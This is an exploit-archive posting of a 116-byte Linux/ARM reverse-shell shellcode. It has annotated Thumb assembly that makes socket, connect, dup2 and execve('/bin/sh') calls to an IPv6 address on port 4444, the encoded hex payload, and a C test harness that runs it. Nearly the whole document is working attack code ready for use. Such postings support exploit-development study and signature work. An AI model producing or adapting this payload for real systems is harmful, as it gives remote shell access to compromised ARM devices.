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Linux/ARM Reverse Shell TCP/4444 Shellcode

Linux/ARM Reverse Shell TCP/4444 Shellcode
Posted Aug 1, 2018
Authored by Ken Kitahara

116 bytes small Linux/ARM reverse shell ::1:4444/TCP with IPv6 shellcode.

tags | shell, tcp, shellcode
systems | linux
MD5 | b926864087396be941ee4f0a2ef16f49

Linux/ARM Reverse Shell TCP/4444 Shellcode

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/*
Title: Linux/ARM - IPv6 ::1 4444/TCP Reverse Shellcode (116 Bytes)
Date: 2018-07-25
Tested: armv7l (Raspberry Pi 3 Model B+)
Author: Ken Kitahara

pi@raspberrypi:~ $ uname -a
Linux raspberrypi 4.14.34-v7+ #1110 SMP Mon Apr 16 15:18:51 BST 2018 armv7l GNU/Linux
pi@raspberrypi:~ $ lsb_release -a
No LSB modules are available.
Distributor ID: Raspbian
Description: Raspbian GNU/Linux 9.4 (stretch)
Release: 9.4
Codename: stretch
pi@raspberrypi:~ $ cat reverseshell-ipv6.s
.section .text
.global _start

_start:
.ARM
add r3, pc, #1
bx r3

.THUMB
// socket(AF_INET6, SOCK_STREAM, IPPROTO_IP)
mov r0, #10
mov r1, #1
eor r2, r2, r2
mov r7, #100
add r7, r7, #181
svc #1
// save fd
mov r4, r0

// connect(fd, &sockaddr, 28)
adr r1, struct_addr
strb r2, [r1, #1]
str r2, [r1, #4]
str r2, [r1, #8]
str r2, [r1, #12]
str r2, [r1, #16]
strh r2, [r1, #20]
strb r2, [r1, #22]
str r2, [r1, #24]
mov r2, #28
add r7, r7, #2
svc #1

// dup2(sockid, 0)
mov r0, r4
eor r1, r1, r1
mov r7, #63
svc #1

// dup2(sockid, 1)
mov r0, r4
add r1, r1, #1
svc #1

// dup2(sockid, 2)
mov r0, r4
add r1, r1, #1
svc #1

// execve("/bin/sh", 0, 0)
eor r1, r1, r1
eor r2, r2, r2
adr r0, spawn
strb r2, [r0, #7]
mov r7, #11
svc #1

// adjust address
eor r7, r7, r7

spawn:
.ascii "/bin/shA"

struct_addr:
.ascii "\x0a\xff" // sin6_family -> AF_INET6
.ascii "\x11\x5c" // sin6_port -> 4444
.byte 1,1,1,1 // sin6_flowinfo -> NULL
.byte 1,1,1,1 // sin6_addr -> ::1
.byte 1,1,1,1
.byte 1,1,1,1
.byte 1,1,1,1
.byte 1,1,1,1 // sin6_scope_id -> NULL

pi@raspberrypi:~ $

*/

#include<stdio.h>
#include<string.h>

unsigned char sc[] = \
"\x01\x30\x8f\xe2\x13\xff\x2f\xe1"
"\x0a\x20\x01\x21\x52\x40\x64\x27"
"\xb5\x37\x01\xdf\x04\x1c\x10\xa1"
"\x4a\x70\x4a\x60\x8a\x60\xca\x60"
"\x0a\x61\x8a\x82\x8a\x75\x8a\x61"
"\x1c\x22\x02\x37\x01\xdf\x20\x1c"
"\x49\x40\x3f\x27\x01\xdf\x20\x1c"
"\x01\x31\x01\xdf\x20\x1c\x01\x31"
"\x01\xdf\x49\x40\x52\x40\x02\xa0"
"\xc2\x71\x0b\x27\x01\xdf\x7f\x40"
"\x2f\x62\x69\x6e\x2f\x73\x68\x41"
"\x0a\xff\x11\x5c\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01"
"\x01\x01\x01\x01";

void main()
{
printf("Shellcode Length: %d\n", strlen(sc));

int (*ret)() = (int(*)())sc;

ret();
}


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